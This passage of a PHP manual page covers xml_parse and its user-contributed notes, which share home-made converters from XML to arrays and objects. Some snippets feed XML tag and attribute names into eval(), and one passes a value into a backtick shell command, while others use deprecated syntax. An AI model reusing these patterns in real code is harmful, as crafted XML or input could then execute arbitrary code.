           $children[] = xml_get_child($v, xml_get_children($values, $i));
           break;
         case 'close':
           break 2; // leave "while" loop
     }
   }
   return $children;
}
function xml_get_tree($file) {
   $data = join('', file($file));

   $p = xml_parser_create();
   xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
   xml_parser_set_option($p, XML_OPTION_SKIP_WHITE,  1);
   xml_parse_into_struct($p, $data, $values);
   xml_parser_free($p);

   return xml_get_children($values, $i=0);
}
mmustafa at vsnl dot com
06-Jan-2004 04:19
A small and simple php code to convert the raw array returned by xml_parse_into_struct into a proper data structure ..

<?php
$file = "data.xml";
$xml_parser = xml_parser_create();

if (!($fp = fopen($file, "r"))) {
   die("could not open XML input");
}

$data = fread($fp, filesize($file));
fclose($fp);
xml_parse_into_struct($xml_parser, $data, $vals, $index);
xml_parser_free($xml_parser);

$params = array();
$level = array();
foreach ($vals as $xml_elem) {
  if ($xml_elem['type'] == 'open') {
   if (array_key_exists('attributes',$xml_elem)) {
     list($level[$xml_elem['level']],$extra) = array_values($xml_elem['attributes']);
   } else {
     $level[$xml_elem['level']] = $xml_elem['tag'];
   }
  }
  if ($xml_elem['type'] == 'complete') {
   $start_level = 1;
   $php_stmt = '$params';
   while($start_level < $xml_elem['level']) {
     $php_stmt .= '[$level['.$start_level.']]';
     $start_level++;
   }
   $php_stmt .= '[$xml_elem[\'tag\']] = $xml_elem[\'value\'];';
   eval($php_stmt);
  }
}

echo "<pre>";
print_r ($params);
echo "</pre>";
?>

Converts an XML document like ..

<country id="ZZ">
<name>My Land</name>
<location>15E</location>
<area>40000</area>
<state1>
<name>Hi State</name>
<area>1000</area>
<population>2000</population>
<city1>
<location>13E</location>
<population>500</population>
<area>500</area>
</city1>
<city2>
<location>13E</location>
<population>500</population>
<area>5000</area>
</city2>
</state1>
<state2>
<name>Low State</name>
<area>3000</area>
<population>20000</population>
<city1>
<location>15E</location>
<population>5000</population>
<area>1500</area>
</city1>
</state2>
</country>

To a php datastructure like ..

Array
(
   [ZZ] => Array
       (
           [NAME] => My Land
           [LOCATION] => 15E
           [AREA] => 40000
           [STATE1] => Array
               (
                   [NAME] => Hi State
                   [AREA] => 1000
                   [POPULATION] => 2000
                   [CITY1] => Array
                       (
                           [LOCATION] => 13E
                           [POPULATION] => 500
                           [AREA] => 500
                       )

                   [CITY2] => Array
                       (
                           [LOCATION] => 13E
                           [POPULATION] => 500
                           [AREA] => 5000
                       )

               )

           [STATE2] => Array
               (
                   [NAME] => Low State
                   [AREA] => 3000
                   [POPULATION] => 20000
                   [CITY1] => Array
                       (
                           [LOCATION] => 15E
                           [POPULATION] => 5000
                           [AREA] => 1500
                       )

               )

       )

)
26-Sep-2003 06:43
actually, using the notation

$object->property is the right one

and you can use it always, preventing errors with arrays
Eric
22-Sep-2003 11:50
Yet another XML -> nested array converter.

This is based on http://www.devdump.com/phpxml.php, but adds features while reducing code complexity.

It can take several forms of input:
 - string (buffer)
 - file handle (pipe)
 - file name -or-
 - URL

It can optionally collapse arrays of same-named tags to a single element if there is only one tag with a given name.

It can optionally preserve tag order for XML applications where position is significant, such as CallXML.

XMLParser.obj at:
http://eric.pollmann.net/work/public_domain/

Corrections and suggestions enthusiastically welcomed.  :)
Adam Tylmad
12-Sep-2003 08:01
I've just debugged and optimized my xmlparser.

gdemartini's xml-example generates this structure:

stdClass Object
(
   [FORM] => stdClass Object
       (
           [SECTION] => stdClass Object
               (
                   [NAME] => Data
                   [EDITFIELD] => stdClass Object
                       (
                           [LABEL] => Text:
                           [NAME] => poll_text
                           [LENGTH] => 255
                           [SIZE] => 56
                           [REQUIRED] => T
                       )

                   [MEMOFIELD] => stdClass Object
                       (
                           [LABEL] => Options
                           [NAME] => options
                           [COLS] => 56
                           [ROWS] => 5
                           [REQUIRED] => T
                       )
               )
       )
)

the moldb example generates this structure:

stdClass Object
(
   [MOLDB] => stdClass Object
       (
           [MOLECULE] => Array
               (
                   [0] => stdClass Object
                       (
                           [NAME] => Alanine
                           [SYMBOL] => ala
                           [CODE] => A
                           [TYPE] => hydrophobic
                       )

                   [1] => stdClass Object
                       (
                           [NAME] => Lysine
                           [SYMBOL] => lys
                           [CODE] => K
                           [TYPE] => charged
                       )
               )
       )
)

here is the code. enjoy!

<?php

class XMLParser {
   var $path;
   var $result;

   function cleanString($string) {
       return trim(str_replace("'", "&#39;", $string));
   }

   function XMLParser($encoding, $data) {
       $this->path = "\$this->result";
       $this->index = 0;

       $xml_parser = xml_parser_create($encoding);
       xml_set_object($xml_parser, &$this);
       xml_set_element_handler($xml_parser, 'startElement', 'endElement');
       xml_set_character_data_handler($xml_parser, 'characterData');

       xml_parse($xml_parser, $data, true);
       xml_parser_free($xml_parser);
   }

   function startElement($parser, $tag, $attributeList) {
       $this->path .= "->".$tag;
       eval("\$data = ".$this->path.";");
       if (is_array($data)) {
           $index = sizeof($data);
           $this->path .= "[".$index."]";
       } else if (is_object($data)) {
           eval($this->path." = array(".$this->path.");");
           $this->path .= "[1]";
       }

       foreach($attributeList as $name => $value)
           eval($this->path."->".$name. " = '".XMLParser::cleanString($value)."';");
   }

   function endElement($parser, $tag) {
       $this->path = substr($this->path, 0, strrpos($this->path, "->"));
   }

   function characterData($parser, $data) {
       if ($data = XMLParser::cleanString($data))
           eval($this->path." = '$data';");
   }
}

?>
plusplus7 at hotmail dot com
18-Jun-2003 09:40
Quick and dirty function to get original file from $vals array in manual example. Build on this for custom parsing of individual elements (something like this should be built-in IMO).

<pre>
function parseVals($vals){
   foreach($vals as $valobj){
       if($valobj['type']=='open' || $valobj['type']=='complete'){
           $retstr .= '<'.$valobj['tag'];
           if(is_array($valobj['attributes'])){
               foreach($valobj['attributes'] as $key=>$val){
                   $retstr .= " $key=\"$val\"";
               }
           }
       }
       if($valobj['type']=='open'){
           $retstr .= '>'.$valobj['value'];
       }elseif($valobj['type']=='complete' && $valobj['value']){
           $retstr .= '>'.$valobj['value'].'</'.$valobj['tag'].'>';
       }elseif($valobj['type']=='complete'){
           $retstr .= ' />';
       }elseif($valobj['type']=='cdata'){
           $retstr .= $valobj['value'];
       }elseif($valobj['type']=='close'){
           $retstr .= '</'.$valobj['tag'].'>';
       }

   }
   return $retstr;
}

</pre>
masuod_a at hotmail dot com
24-Nov-2002 08:32
wanna load object from xml file? this function take a tree returned by xml_get_tree() [dave@ovumdesign.com's version] and return an object.
it can't work with attributes, i hate attributes (except id), but may be useful for you.

- how to use :
------------------------- xml file -------------
<config>
   <images>
     <image id="1">
       <name>my pet</name>
       <file>pet001.jpg</file>
     </image>
     <image id="2">
       <name>harry's pet</name>
       <file>pet003.jpg</file>
     </image>
   </images>
   <library>lib_functions.php</library>
</config>
----------------------------------------------
$config=xml_to_object($xml_tree);
$config->library;    #return "lib_functions.php"
$config->images->image__1->name; #return "my pet"
----------------------------------------------
function xml_to_object($xml_tree,$root=false){
             $object_name=$xml_tree['tag'];
             foreach ($xml_tree['children'] as $children){
                         $child_id=$children['attributes']['id'];
                         $child_name=$children['tag'];
                         $child_name.=($child_id) ? "__".$child_id:'';

                         if (is_array($children['children'])) {
                                     $child_object=xml_to_object($children);
                                     $temp_object->$child_name=$child_object;
                         } else {
                                   $temp_object->$child_name=$children['value'];
                         }
             }

             if (!$root)
                         $xml_object=$temp_object;
             else      $xml_object->$object_name=$temp_object;

             return $xml_object;
}

also you can use this function for loading array from xml , but i suggest you to use kris@h3x.com's functions[ http://www.devdump.com/phpxml.php ].

function xml_to_array($xml_tree,$root=false){
   $array_name=$xml_tree['tag'];
   foreach ($xml_tree['children'] as $children){
       $child_id=$children['attributes']['id'];
       $child_name=$children['tag'];
       $child_name.=($child_id) ? "__".$child_id:'';
       if (is_array($children['children'])) {
           $child_array=xml_to_array($children);
           $temp_array[$child_name]=$child_array;
       } else {
           $temp_array[$child_name]=$children['value'];
       }
   }

   if (!$root)
     $xml_array=$temp_array;
   else
     $xml_array[$array_name]=$temp_array;

   return $xml_array;
}
bisqwit at iki dot fi dot not dot for dot ads dot invalid
21-Nov-2002 12:33
I made my own xml2tree()-function.
The difference to the previously suggested ones on this manual page is that this creates a tree where the tags are keys.

Example input:

<tree>
 <leaf name="gruu"> pl </leaf>
 <animal type="cat" />
</tree>

Example output:

Array
( 'tree' => Array
     ( 0 => Array
         ( 'children' => Array
               ( 'leaf' => Array
                   ( 0 => Array
                         ( 'attrs' => Array('name' => 'gruu'),
                           'values' => Array(0 => ' pl ')
                   )    ),
                 'animal' => Array
                   ( 0 => Array
                         ( 'attrs' => Array('type' => 'cat')
)    )  )    )    )  )

function xml2tree2($string)
{
  $parser = xml_parser_create();
  xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
  xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
  xml_parse_into_struct($parser, $string, $vals, $index);
  xml_parser_free($parser);

  $stack = array( array() );
  $stacktop = 0;
  $parent = array();
  foreach($vals as $val)
  {
   $type = $val['type'];
   if($type=='open' || $type=='complete')
   {
     // open tag
     $stack[$stacktop++] = $tagi;
     $tagi = array('tag' => $val['tag']);

     if(isset($val['attributes']))  $tagi['attrs'] = $val['attributes'];
     if(isset($val['value']))
       $tagi['values'][] = $val['value'];
   }
   if($type=='complete' || $type=='close')
   {
     // finish tag
     $tags[] = $oldtagi = $tagi;
     $tagi = $stack[--$stacktop];
     $oldtag = $oldtagi['tag'];
     unset($oldtagi['tag']);
     $tagi['children'][$oldtag][] = $oldtagi;
     $parent = $tagi;
   }
   if($type=='cdata')
   {
     $tagi['values'][] = $val['value'];
   }
  }
  return $parent['children'];
}

Ps: Note that the xml parsing for some reason chokes if the values contain <> (even inside ""). You need to escape them as &lt; and &gt;.
Same for & (for obvious reasons). Escape it as &amp;.
For example "&nbsp;" should be written as "&amp;nbsp;".
joeldegan at yahoo dot com
20-Nov-2002 08:40
Using one of the nice function above, I was able to get these two great structures below on nmap info for a machine and then the PID lists for each open port.. Very handy for my current project.

$test = `nmap -sU -sS localhost -oX -`;
$ret = xml2array($test);
$z=0;
while (list($key,$val)=each($ret["host"][0][3]["children"])){
   if ($val["tag"] == "PORT"){
       $new[$z]["PROTOCOL"] = $val["attributes"]["PROTOCOL"];
       $new[$z]["PORT"] = $val["attributes"]["PORTID"];

       //echo $val["attributes"]["PROTOCOL"]."\n";
       //echo $val["attributes"]["PORTID"]."\n";
       $z++;
   }//fi
}//wend

print_r($new);

function port_pids($portnum){
   $ret = `lsof -i :$portnum -F pc`;
   $ret = explode("\n", $ret);
   $z=0;
   for($a=0;$a<count($ret);$a++){
       $port = $ret[$a];
       $a++;
       $com = $ret[$a];
       $new[$z]["PID"]=substr($port, 1);
       $new[$z]["COMMAND"]=substr($com, 1);
       $z++;
   }//wend
   return $new;
}//end function

print_r(port_pids("3306"));
no at chance dot com
09-Nov-2002 02:38
Thanks to gdemartini's tree algorithm , I was able to create a variation that display's the information in a way that allows you to then easily parse the information with less code and process time. Here's the variation and I've also posted a quick function at the bottom that allows you to visually display complex arrays in human readable format. Hope this helps someone as much as gdemartini's functions helped me.

I decided to post it on my server as opposed to the forums as it was too large and needed some good html formatting.  It can found at http://www.devdump.com/phpxml.php .
ambi at gmx dot de
06-Oct-2002 06:59
Sorry.. unreachable and unneeded code in my posting above :-)
Here is the fixed version:
function xml_condense_tree($tree) {
   if ($tree["children"]) {
           unset($nodecounters);
           foreach ($tree['children'] as $index => $node) {
               if (!isset($nodecounters[$node['tag']]))
               $nodecounters[$node['tag']]=1;
               else $nodecounters[$node['tag']]++;
           }
       foreach ($tree['children'] as $index => $node) {
           if (isset($node['children'])) {
               $tree['children'][$index] = xml_condense_tree($node);
           } elseif (isset($node['value']) and !$node['attributes'] and $nodecounters[$node['tag']]==1) {
               $tree['values'][$node['tag']] = $node['value'];
               unset($tree['children'][$index]);
           }
       }
   }
   if (!$tree['children']) unset($tree['children']);

   return $tree;
}
09-Aug-2002 04:20
This is based on a comment above by mh@mainlab.de.  This version makes more sense to me and I included a few comments that might make it more usefull for specific purposes.

// Look through $vals and $index,
// generated by parse_xml_data(),
// for $location.  $location resembles a unix path.
// E.g. "my/xml/path/to/my/data".
// Note: This is NOT a full-feature xml utility.
// Your path must be unique in the xml data
// and the tags must not contain slashes.
//
// returns: cdata from last element of $location
//          or NULL.
function get_xml_values($vals, $index, $location) {
  $location = explode('/', $location);
  $location_level = count($location);
  for ($n=0; $n<$location_level; ++$n) {
   $val_indexes=$index[$location[$n]];
   $good=0;
   for ($i=0; $i<count($val_indexes); ++$i) {
     $v = $vals[$val_indexes[$i]];
     // level is 1 based, n is 0 based:
     if ($v['level']-1 == $n) {
       if ($v['type'] == 'open') {
         // We found an open tag at the correct level.
         $good=1;
         break; // Remove break to avoid 'open' hiding
                 // 'complete' at last $n. (Speed Vs. Robustness:
                 // For now, I'm going with speed).
       }
       if ($v['type'] == 'complete') {
         // We found it, after finding all the prior elements:
         // You may want to change this to
         // return $v
         // so you can call $v['value'] and $v['attributes']
         return $v['value'];
       }
     }
   }
   if (!$good) {
     return NULL;
   }
  }
}
farinspace-at-hotmail-dot-com
21-Jul-2002 09:41
Wow, took a while to consume all of this. I am a noobie at XML, in fact i just really started working with it today. I went ahead and added to the above code by gdemartini@bol.com.br. I also added the update by nyk@cowham.net.

Added 'value' => $vals[$i]['value'] to the open case, as some nodes have both cdata as well as a children node. In previous versions of the functions the cdata of a node(a) that also had children would get stored in the children's array of the parent node(a). Now only children values are in the children array and the cdata is in the value key of the parent node(a).

Added 'value' => $vals[$i]['value'] to tree array as the vals array produced by PHP includes a value to the top most node if no children exist (for completeness).

Also, using xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE,1) will strip all white space from both around the XML tags as well as inside the cdata. I added a piece of code by waldo@wh-e.com to take care of this. All SPACE characters are now only stripped from around the XML tags and cdata spacing is retained.

CODE:
***************************************

function GetChildren($vals, &$i) {

   $children = array();

   while (++$i < sizeof($vals)) {

       // compair type
       switch ($vals[$i]['type']) {

           case 'cdata':
               $children[] = $vals[$i]['value'];
               break;
           case 'complete':
               $children[] = array(
                   'tag' => $vals[$i]['tag'],
                   'attributes' => $vals[$i]['attributes'],
                   'value' => $vals[$i]['value']
               );
               break;
           case 'open':
               $children[] = array(
                   'tag' => $vals[$i]['tag'],
                   'attributes' => $vals[$i]['attributes'],
                   'value' => $vals[$i]['value'],
                   'children' => GetChildren($vals, $i)
               );
               break;
           case 'close':
               return $children;
       }
   }
}

function GetXMLTree($file) {

   $data = implode('', file($file));

   // by: waldo@wh-e.com - trim space around tags not within
   $data = eregi_replace(">"."[[:space:]]+"."<","><",$data);

   // XML functions
   $p = xml_parser_create();

   // by: anony@mous.com - meets XML 1.0 specification
   xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
   xml_parse_into_struct($p, $data, &$vals, &$index);
   xml_parser_free($p);

   $i = 0;
   $tree = array();
   $tree[] = array(
       'tag' => $vals[$i]['tag'],
       'attributes' => $vals[$i]['attributes'],
       'value' => $vals[$i]['value'],
       'children' => GetChildren($vals, $i)
   );

   return $tree;
}

***************************************
dave at ovumdesign dot com
03-Apr-2002 07:32
Here is another variation on gdemartini@bol.com.br's nice tree algorithm. I have included nyk@cowham.net's "cdata" suggestion. I made a few changes to suppress unitialized variable warnings with error_reporting(E_ALL), and made a few stylistic changes.

There are two functional modifications as well. The first is the added option to expat to turn off "case folding", since XML is technically a case-sensitive language. The second is the returned tree - instead of returning a single-element list (an array with index 0 pointing to the top node) like the original algorithm, it returns the top node itself. This saves you an unnecessary level of indirection.

function xml_get_children($vals, &$i) {
   $children = array();
   if (isset($vals[$i]['value'])) $children[] = $vals[$i]['value'];

   while (++$i < count($vals)) {
       switch ($vals[$i]['type']) {
       case 'cdata':
           $children[] = $vals[$i]['value'];
           break;

       case 'complete':
           $children[] = array(
               'tag'        => $vals[$i]['tag'],
               'attributes' => isset($vals[$i]['attributes'])?
                               $vals[$i]['attributes'] : null,
               'value'      => $vals[$i]['value'],
           );
           break;

       case 'open':
           $children[] = array(
               'tag'        => $vals[$i]['tag'],
               'attributes' => isset($vals[$i]['attributes'])?
                               $vals[$i]['attributes'] : null,
               'children'  => xml_get_children($vals, $i),
           );
           break;

       case 'close':
           return $children;
       }
   }
}

function xml_get_tree($file) {
   $data = join('', file($file));

   $parser = xml_parser_create();
   xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
   xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE,  1);
   xml_parse_into_struct($parser, $data, $vals, $index);
   xml_parser_free($parser);

   return array(
       'tag'        => $vals[0]['tag'],
       'attributes' => isset($vals[0]['attributes'])?
                       $vals[0]['attributes'] : null,
       'children'  => xml_get_children($vals, $i = 0),
   );
}

This function takes a tree returned by xml_get_tree() and simplifies it similarly to voncken@mailandnews.com and oknapp@soly.de's suggestions. It finds any nodes that expat considered "complete" (childless) and contain no attributes, and it moves the tag name (as the key) and value into an element in the parent node's "values" array.

For example:
$tree = xml_get_tree('moldb.xml');
$tree = xml_condense_tree($tree);
echo $tree['children'][1]['values']['name'];

Outputs:
Lysine

function xml_condense_tree($tree) {
   foreach ($tree['children'] as $index => $node) {
       if (isset($node['children'])) {
           $tree['children'][$index] = xml_condense_tree($node);

       } elseif (isset($node['value']) and !$node['attributes']) {
           $tree['values'][$node['tag']] = $node['value'];
           unset($tree['children'][$index]);
       }
   }

   if (!$tree['children']) unset($tree['children']);
   return $tree;
}

Enjoy,
Dave
voncken at mailandnews dot com
06-Jan-2002 09:24
I needed something a bit different:
this is the result of my xml2array function (from the moldb example)

Array
(
   [molecule] => Array
       (
           [0] => Array
               (
                   [name] => Alanine
                   [symbol] => ala
                   [code] => A
                   [type] => hydrophobic
               )

           [1] => Array
               (
                   [name] => Lysine
                   [symbol] => lys
                   [code] => K
                   [type] => charged
               )

       )

)

function xml2array($data)
  {
   //mvo voncken@mailandnews.com
   //original ripped from  on the php-manual:gdemartini@bol.com.br
   //to be used for data retrieval(result-structure is Data oriented)
   $p = xml_parser_create();
   xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);
   xml_parse_into_struct($p, $data, &$vals, &$index);
   xml_parser_free($p);

   $tree = array();
   $i = 0;
   //array_push($tree, array('tag' => $vals[$i]['tag'], 'attributes'=> $vals[$i]['attributes'],                            'children' => ));
   $tree = GetChildren($vals, $i);
   return $tree;
  }

 function GetChildren($vals, &$i)
  {
   $children = array();
   if ($vals[$i]['value']) array_push($children, $vals[$i]['value']);

   $prevtag = "";
   while (++$i < count($vals)) // so pra nao botar while true ;-)
   {
     switch ($vals[$i]['type'])
     {
         case 'cdata':
           array_push($children, $vals[$i]['value']);
           break;
         case 'complete':
           $children[ strtolower($vals[$i]['tag']) ] = $vals[$i]['value'];
           break;

         case 'open':

           //restartindex on unique tag-name
           $j++;
           if ($prevtag <> $vals[$i]['tag']) {
                   $j = 0;
                   $prevtag = $vals[$i]['tag'];
           }
           $children[ strtolower($vals[$i]['tag']) ][$j] = GetChildren($vals,$i);
           break;

         case 'close':
           return $children;
     }
   }
  }
add a note add a note

后退 | 起点 | 前进
xml_get_error_code | 上一级 | xml_parse


xml_parse

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_parse -- 开始解析一个 XML 文档

说明

int xml_parse ( resource parser, string data [, bool is_final] )

xml_parse() 解析 XML 文档。已配置事件的处理器根据需要被无限次调用。

参数

parser

一个指向将要使用的 XML 解析器的指针

data

需要解析的数据集。您可以多次对新的数据调用 xml_parse() 函数来分段解析一个文档；只要在解析最后一段数据时将 is_final 参数设置为 TRUE。

is_final

如果被设置为 TRUE，则 data 为当前解析中最后一段数据。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

若解析失败，可以使用如下函数获取错误信息：
xml_get_error_code(),
xml_error_string(),
xml_get_current_line_number(),
xml_get_current_column_number() 和
xml_get_current_byte_index()。

注: 将 is_final 参数设置为 TRUE，项目的错误将会报告在数据的末尾。

add a note add a note User Contributed Notes
james @at@ mercstudio dot Com dot nospam
03-Apr-2006 03:10
hi,

i've modified bbellwfu at gmail dot com to as below:

features added:
  - toXML (convert back array to xml string)
  - changed name, according to macromedia flash xml concept : children -> childrens, tagdata -> nodevalue, name -> nodename,
  - added pointer firstchild to childrens[0] (if exists)

some findings that i would like to share:
 - <![cdata[my value here]]> (does not work on property value
 - xml file must be htmlentity based (if not using cdata)
 - xml line feed on node data seems to be double line feed on windows (still figuring why)
 - xml line feed on attribute value seems to be ignored...

here's my code below :)

class u007xml
{
   var $arrOutput = array();
   var $resParser;
   var $strXmlData;

   function u007xml($tfile = "")
   {
       if(trim($tfile) != "") { $this->loadFile($tfile);}
   }

   function loadFile($tfile)
   {
       $this->thefile = $tfile;

       $th = file($tfile);
       $tdata = implode("\n", $th);

       return $this->parse($tdata);
   }

   function parse($strInputXML)
   {
       $this->resParser = xml_parser_create ();
       xml_set_object($this->resParser,$this);
       xml_set_element_handler($this->resParser, "tagOpen", "tagClosed");

       xml_set_character_data_handler($this->resParser, "tagData");

       $this->strXmlData = xml_parse($this->resParser,$strInputXML );

       if(!$this->strXmlData) {
           die(sprintf("XML error: %s at line %d",
       xml_error_string(xml_get_error_code($this->resParser)),
       xml_get_current_line_number($this->resParser)));
       }

       xml_parser_free($this->resParser);

       return $this->arrOutput;
   }

   //called on each xml tree
   function tagOpen($parser, $name, $attrs) {
       $tag=array("nodename"=>$name,"attributes"=>$attrs);
       array_push($this->arrOutput,$tag);
   }

  //called on data for xml
   function tagData($parser, $tagData) {
       if(trim($tagData)) {
           if(isset($this->arrOutput[count($this->arrOutput)-1]['nodevalue'])) {
               $this->arrOutput[count($this->arrOutput)-1]['nodevalue'] .= $this->parseXMLValue($tagData);
           }
           else {
               $this->arrOutput[count($this->arrOutput)-1]['nodevalue'] = $this->parseXMLValue($tagData);
           }
       }
   }

  //called when finished parsing
   function tagClosed($parser, $name) {
       $this->arrOutput[count($this->arrOutput)-2]['childrens'][] = $this->arrOutput[count($this->arrOutput)-1];

       if(count ($this->arrOutput[count($this->arrOutput)-2]['childrens'] ) == 1)
       {
           $this->arrOutput[count($this->arrOutput)-2]['firstchild'] =& $this->arrOutput[count($this->arrOutput)-2]['childrens'][0];
       }
       array_pop($this->arrOutput);
   }

   function toArray()
   {
       //not used, we can call loadString or loadFile instead...
   }

   function parseXMLValue($tvalue)
   {
       $tvalue = htmlentities($tvalue);
       return $tvalue;
   }

   function toXML($tob = null)
   {
       //return back xml
       $result = "";

       if( $tob == null)
       {
           $tob = $this->arrOutput;
       }

       if(!isset($tob))
       {
           echo "XML Array empty...";
           return null;
       }

       for($c = 0; $c < count($tob); $c++)
       {
           $result .="<" . $tob[$c]["nodename"];

           while (list($key, $value) = each($tob[$c]["attributes"]))
           {
               $result .=" " . $key."=\"" . $this->parseXMLValue($value) . "\"";
           }

           $result .= ">";

           //assign node value
           if( isset($tob[$c]["nodevalue"]) )
           {
               $result .= $tob[$c]["nodevalue"];
           }

           if( count($tob[$c]["childrens"]) > 0 )
           {
               $result .= "\r\n" . $this->toXML(&$tob[$c]["childrens"]) . "";
           }

           $result .= "</" . $tob[$c]["nodename"] . ">\r\n";

       }//end of each array...

       return $result;
   }

   function displayXML()
   {
       print_r($this->arrOutput);
   }

   function getXML($tob = null)
   {
       return "<?xml version='1.0'?>\r\n" . $this->toXML($tob);
   }

}//end of u007xml class

//examples below:

$xx = new u007xml();
$xx->loadFile("xml3.xml");

//$xx->displayXML();

print $xx->getXML();
ben at autonomic dot net
16-Mar-2006 09:12
bbellwfu's code does not handle 'text nodes' properly.
Consider the innards of a tag like <root>xxx<tag2/>yyy</root>
The 'tagData' for root will be "xxxyyy" and you have lost all information about where "tag2" was in that sequence.

Quick and dirty hack.

Replace tagData with this code :
   function tagData($parser, $tagData) {
         $last_element=count($this->arrOutput)-1;
       $this->arrOutput[$last_element]['children'][] = array("textnode",$tagData);
   }

What this does is adds 'textnodes' as children of its containing parent, *in the right sequence* (rather like the internet browsers do it). This then lets you do some more sensible secondary work like recursively looking up internal references within the document...
Kyle Bresin
20-Jan-2006 07:15
Just wanted to note a small bug in bbellwfu's class (which is really great btw).

It fails to capture any datums which are equal to numerical zero.

The problem lies in the function tagData, the first if statement should be:

if(trim($tagData) != '') {
tim at alloutinteraction dot com
01-Oct-2005 10:29
I wanted to create a really simple XML parser, but I found the array management in xml_parse a bit daunting. So I flattened my XML and parsed it using string matching. It wouldn't be difficult to add xml depth (of 2 plus levels) by modifying the parsedXML array.

<?
// here's the raw html
$xmlRaw="<order>Order data</order><label>Label data</label><control>123</control>";
// here are the xml field names
$xmlFieldNames=array("order", "label", "control");
// for each xml field...
foreach ($xmlFieldNames as $xmlField) {
   if(strpos($xmlRaw,$xmlField)!==false){
       // I've broken 1 single line into 4 for display purposes
       $parsedXML[$xmlField]=substr($xmlRaw,
       strpos($xmlRaw,"<$xmlField>")+strlen("<$xmlField>"),
       strpos($xmlRaw,"</$xmlField>")-strlen("<$xmlField>")
       -strpos($xmlRaw,"<$xmlField>"));
   }
}
print_r($parsedXML);
// prints: Array ( [order] => Order data [label] => Label data [control] => 123 )

?>

Hope you find this useful (coded it while ill in bed with streaming cold, but felt much better afterwards!)

Tim (a lazy coder)
bbellwfu at gmail dot com
06-May-2005 05:51
Just improving a little bit on the code examples from tgrabietz and randlem below... everything in one pretty class, plus some checks in place so that the element data doesnt get split up (thanks to flobee on the xml_set_character_data_handler page)

<?php

/* Usage
 Grab some XML data, either from a file, URL, etc. however you want. Assume storage in $strYourXML;

 $objXML = new xml2Array();
 $arrOutput = $objXML->parse($strYourXML);
 print_r($arrOutput); //print it out, or do whatever!

*/
class xml2Array {

   var $arrOutput = array();
   var $resParser;
   var $strXmlData;

   function parse($strInputXML) {

           $this->resParser = xml_parser_create ();
           xml_set_object($this->resParser,$this);
           xml_set_element_handler($this->resParser, "tagOpen", "tagClosed");

           xml_set_character_data_handler($this->resParser, "tagData");

           $this->strXmlData = xml_parse($this->resParser,$strInputXML );
           if(!$this->strXmlData) {
               die(sprintf("XML error: %s at line %d",
           xml_error_string(xml_get_error_code($this->resParser)),
           xml_get_current_line_number($this->resParser)));
           }

           xml_parser_free($this->resParser);

           return $this->arrOutput;
   }
   function tagOpen($parser, $name, $attrs) {
       $tag=array("name"=>$name,"attrs"=>$attrs);
       array_push($this->arrOutput,$tag);
   }

   function tagData($parser, $tagData) {
       if(trim($tagData)) {
           if(isset($this->arrOutput[count($this->arrOutput)-1]['tagData'])) {
               $this->arrOutput[count($this->arrOutput)-1]['tagData'] .= $tagData;
           }
           else {
               $this->arrOutput[count($this->arrOutput)-1]['tagData'] = $tagData;
           }
       }
   }

   function tagClosed($parser, $name) {
       $this->arrOutput[count($this->arrOutput)-2]['children'][] = $this->arrOutput[count($this->arrOutput)-1];
       array_pop($this->arrOutput);
   }
}
?>

Will output something like...

<snippet>
Array
(
   [0] => Array
       (
           [name] => GETMESSAGESRESPONSE
           [attrs] => Array
               (
               )

           [children] => Array
               (
                   [0] => Array
                       (
                           [name] => STATUS
                           [attrs] => Array
                               (
                               )

                       )

</snippet>
alex dot garcia at noos dot fr
15-Mar-2005 05:47
Here is the inverse function which takes parsed xml array in entry and outputs xml string

enjoy !

function getXmlFromArray($root){

       if(count($root) > 0){

           $curr_name = $root['name'];
           $attribs = $root['attrs'];
           $curr_childs = $root['children'];
           $curr_data = $root['cdata'];

           $xml .= '<'.$curr_name;

           if(count($attribs) > 0){
               $i = 1;
               foreach($attribs as $key => $value){
                   $curr_attribs .= $key.'="'.$value.'"';
                   $i++;
                   if($i <= count($attribs)){
                       $curr_attribs .= ' ';
                   }
               }
               $xml .= ' '.$curr_attribs;
           }

           if($curr_data != ''){
               $xml .= '><![CDATA['.$curr_data.']]></'.$curr_name.'>';
           } else {
               if(count($curr_childs) > 0){
                   $xml .= '>';
                   foreach($curr_childs as $child){
                       $xml .= getXmlFromArray($child);
                   }
                   $xml .= '</'.$curr_name.'>';
               } else {
                   $xml .= '/>';
               }
           }

       }
       return $xml;
   }
tgrabietz at bupnet dot de
22-Sep-2004 11:05
it's like randlem at gmail dot com's great code, without using a "class container" but parsing cdata. The script returns the tree-structure in a single array.

<?php
$file = 'simple.xml';
$stack = array();

function startTag($parser, $name, $attrs)
{
   global $stack;
   $tag=array("name"=>$name,"attrs"=>$attrs);
   array_push($stack,$tag);

}

function cdata($parser, $cdata)
{
   global $stack,$i;

   if(trim($cdata))
   {
       $stack[count($stack)-1]['cdata']=$cdata;
   }
}

function endTag($parser, $name)
{
   global $stack;
   $stack[count($stack)-2]['children'][] = $stack[count($stack)-1];
   array_pop($stack);
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startTag", "endTag");
xml_set_character_data_handler($xml_parser, "cdata");

$data = xml_parse($xml_parser,file_get_contents($file));
if(!$data) {
   die(sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($xml_parser)),
xml_get_current_line_number($xml_parser)));
}

xml_parser_free($xml_parser);

print("<pre>\n");
print_r($stack);
print("</pre>\n");
?>
ByK
16-Sep-2004 11:12
modified from yours code. I think it's work!!.
class CXml
{
   var $xml_data;
   var $obj_data;
   var $pointer;

   function CXml() { }

   function Set_xml_data( &$xml_data )
   {
       $this->index = 0;
       $this->pointer[] = &$this->obj_data;

       //strip white space between tags
       $this->xml_data = eregi_replace(">"."[[:space:]]+"."<","><",$xml_data);
       $this->xml_parser = xml_parser_create( "UTF-8" );

       xml_parser_set_option( $this->xml_parser, XML_OPTION_CASE_FOLDING, false );
       xml_set_object( $this->xml_parser, &$this );
       xml_set_element_handler( $this->xml_parser, "_startElement", "_endElement");
       xml_set_character_data_handler( $this->xml_parser, "_cData" );

       xml_parse( $this->xml_parser, $this->xml_data, true );
